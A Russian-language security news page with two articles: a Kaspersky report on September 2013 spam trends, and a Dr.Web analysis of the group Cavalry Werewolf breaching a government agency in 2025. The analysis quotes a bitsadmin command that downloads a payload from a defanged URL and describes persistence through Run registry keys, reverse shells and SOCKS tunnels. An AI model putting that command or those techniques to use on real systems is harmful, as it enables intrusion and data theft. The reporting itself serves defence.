В сентябре 2013 года отмечено уменьшение доли мирового спама

В сентябре 2013 года отмечено уменьшение доли мирового спама

«Лаборатория Касперского» продолжает отмечать уменьшение доли мирового спама. В сентябре 2013 года аналитики компании зафиксировали снижение этого показателя на 1,4% – в итоге уровень спама в почтовом трафике составил 66,2%. Вместе с тем сокращение количества нежелательной корреспонденции не означает уменьшения активности злоумышленников: они по-прежнему стараются эксплуатировать наиболее актуальные для текущего сезона темы и выбирают новые прикрытия для распространения вредоносных программ.

С наступлением первых осенних холодов и в Рунете, и в англоязычном Интернете получили распространение спам-рассылки, предлагающие всевозможные способы сохранения тепла в жилищах и сокращения расходов на газ, воду и электроэнергию. Небольшие различия в российских и иностранных сообщениях наблюдались лишь в способах экономии. Так, англоязычным интернет-пользователям спамеры предлагали услуги по установке солнечных батарей, российские же юзеры чаще сталкивались с предложениями по приобретению специальных энергосберегающих светильников и утеплению домов. Нередко подобные письма приходили с автоматически сгенерированных адресов, состоящих из бессмысленного набора букв.

Тема тепла использовалась спамерами и в более широком понимании. В течение первого осеннего месяца в Рунете нам неоднократно попадались сообщения с анонсами семинаров для женщин. Нетрудно догадаться, что чаще всего в подобных рассылках встречались темы поиска второй половинки, создания крепкой семьи и счастливых взаимоотношений в браке. Для привлечения внимания к рекламе спамеры использовали яркое оформление письма, в том числе цветовое выделение текста, графический спам и интригующее название в поле «Тема».

 

Примеры спам-писем с рекламой семинаров для женщин, сентябрь 2013 г.


В сентябре аналитики «Лаборатории Касперского» заметили несколько вредоносных рассылок, использующих для обмана пользователей имена зарубежных интернет- и телефонных провайдеров, которые нечасто выбираются злоумышленниками для прикрытия своих атак. Так, имя британской телекоммуникационной компании BT Group спамеры использовали для рассылки троянца Dofoil, который скачивает и запускает вредоносные программы на компьютере жертвы. В поддельном письме сообщалось, что пользователь недавно поменял адрес электронной почты в личном кабинете и теперь он будет использоваться для оповещения об изменениях и обновлениях. Чтобы получить более подробную информацию получателю письма предлагали заглянуть во вложение, под видом которого и скрывался троянец. Для того чтобы получатель поверил в подлинность письма, злоумышленники использовали легитимный, на первый взгляд, адрес отправителя и ссылку на официальный сайт компании.

В рейтинге стран-источников спама, распространяемого по всему миру, первая тройка в сентябре осталась без изменений. На первом месте по-прежнему находится Китай (22%) – по сравнению с прошлым месяцем его показатель увеличился на 1%. Второе место занимают США (18%) – доля спама, рассылаемого из этой страны, напротив, сократилась на 1%. Третья позиция принадлежит Южной Кореей (14%) – ее показатель уменьшился на 1,4%. В целом из этих трех стран в сентябре было разослано 54% мирового спама.

А вот в Рунете рейтинг стран-источников спама, наоборот, претерпел заметные изменения. Так, лидером здесь в начале осени стал Вьетнам (13%), чей показатель за месяц увеличился на 4,4%. Напомним, в августе страна замыкала первую тройку. На 2-е место с 4-го переместилась Индия (13%) – ее показатель увеличился на 5,3%. На 3-м месте находится Тайвань (12,6%) – лидер августа, чей показатель в сентябре уменьшился на 0,5%. В то же время, несмотря на прирост в 1,4%, в сентябре первую тройку покинула Россия – она расположилась на 4-й позиции с показателем 11,5%.

«Как всегда, в этом месяце от внимания спамеров не ушли сезонные особенности, от которых зависит активность потенциальных потребителей рекламируемых товаров и услуг. Так, в сентябре увеличилось количество предложений, связанных с экономией электроэнергии и утеплением зданий. А уже в следующем месяце мы ожидаем увеличение доли спама новогодней тематики. В очередной раз хотим обратить внимание пользователей, что услуги организаций и частных лиц, рекламируемые в спаме, могут обойтись им слишком дорого – не исключено, что такой спам рассылают мошенники», – отмечает Татьяна Щербакова, старший спам-аналитик «Лаборатории Касперского».

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru